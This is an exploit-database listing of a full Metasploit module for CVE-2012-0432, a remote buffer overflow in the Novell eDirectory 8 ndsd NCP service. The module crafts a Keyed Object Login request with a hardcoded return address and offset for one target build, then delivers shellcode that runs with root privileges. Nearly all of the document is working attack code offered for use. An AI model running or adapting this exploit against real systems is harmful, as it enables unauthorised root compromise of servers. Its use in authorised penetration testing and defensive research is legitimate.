Novell eDirectory 8 Buffer Overflow



EKU-ID: 2982 CVE: 2012-0432 OSVDB-ID: 88718
Author: juan vazquez Published: 2013-01-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'Novell eDirectory 8 Buffer Overflow',
   'Description'     => %q{
     This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The
    vulnerability exists in the ndsd daemon, specifically in the NCP service, while
    parsing a specially crafted Keyed Object Login request. It allows remote code
    execution with root privileges.
   },
   'Author'          =>
    [
     'David Klein', # Vulnerability Discovery
     'Gary Nilson', # Exploit
     'juan vazquez' # Metasploit module
    ],
   'References'      =>
    [
     [ 'CVE', '2012-0432'],
     [ 'OSVDB', '88718'],
     [ 'BID', '57038' ],
     [ 'EDB', '24205' ],
     [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ],
     [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jan/97' ]
    ],
   'DisclosureDate'  => 'Dec 12 2012',
   'Platform'        => 'linux',
   'Privileged'      => true,
   'Arch'            => ARCH_X86,
   'Payload'         =>
    {

    },
   'Targets'         =>
    [
     [ 'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3',
      {
       'Ret' => 0x080a4697, # jmp esi from ndsd
       'Offset' => 58
      }
     ]
    ],
   'DefaultTarget'   => 0
  ))

  register_options([Opt::RPORT(524),], self.class)
 end

 def check
  connect
  sock.put(connection_request)
  res = sock.get
  disconnect
  if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
   # res[8,2] => Reply Type
   # res[15,1] => Connection Status
   return Exploit::CheckCode::Safe
  end
  return Exploit::CheckCode::Detected
 end

 def connection_request
  pkt =  "\x44\x6d\x64\x54" # NCP TCP id
  pkt << "\x00\x00\x00\x17" # request_size
  pkt << "\x00\x00\x00\x01" # version
  pkt << "\x00\x00\x00\x00" # reply buffer size
  pkt << "\x11\x11"         # cmd => create service connection
  pkt << "\x00"             # sequence number
  pkt << "\x00"             # connection number
  pkt << "\x00"             # task number
  pkt << "\x00"             # reserved
  pkt << "\x00"             # request code

  return pkt
 end

 def exploit

  connect

  print_status("Sending Service Connection Request...")
  sock.put(connection_request)
  res = sock.get
  if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
   # res[8,2] => Reply Type
   # res[15,1] => Connection Status
   fail_with(Exploit::Failure::UnexpectedReply, "Service Connection failed")
  end
  print_good("Service Connection successful")

  pkt = "\x44\x6d\x64\x54"  # NCP TCP id
  pkt << "\x00\x00\x00\x00" # request_size (filled later)
  pkt << "\x00\x00\x00\x01" # version (1)
  pkt << "\x00\x00\x00\x05" # reply buffer size
  pkt << "\x22\x22"         # cmd
  pkt << "\x01"             # sequence number
  pkt << res[11]            # connection number
  pkt << "\x00"             # task number
  pkt << "\x00"             # reserved
  pkt << "\x17"             # Login Object FunctionCode (23)
  pkt << "\x00\xa7"         # SubFuncStrucLen
  pkt << "\x18"             # SubFunctionCode
  pkt << "\x90\x90"         # object type
  pkt << "\x50"             # ClientNameLen
  pkt << rand_text(7)
  jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string
  pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP
  pkt << rand_text(target['Offset'] - jmp_payload.length)
  pkt << [target.ret].pack("V")
  pkt << payload.encoded

  pkt[4,4] = [pkt.length].pack("N")

  print_status("Sending Overflow on Keyed Object Login...")
  sock.put(pkt)
  sock.get
  disconnect
 end

end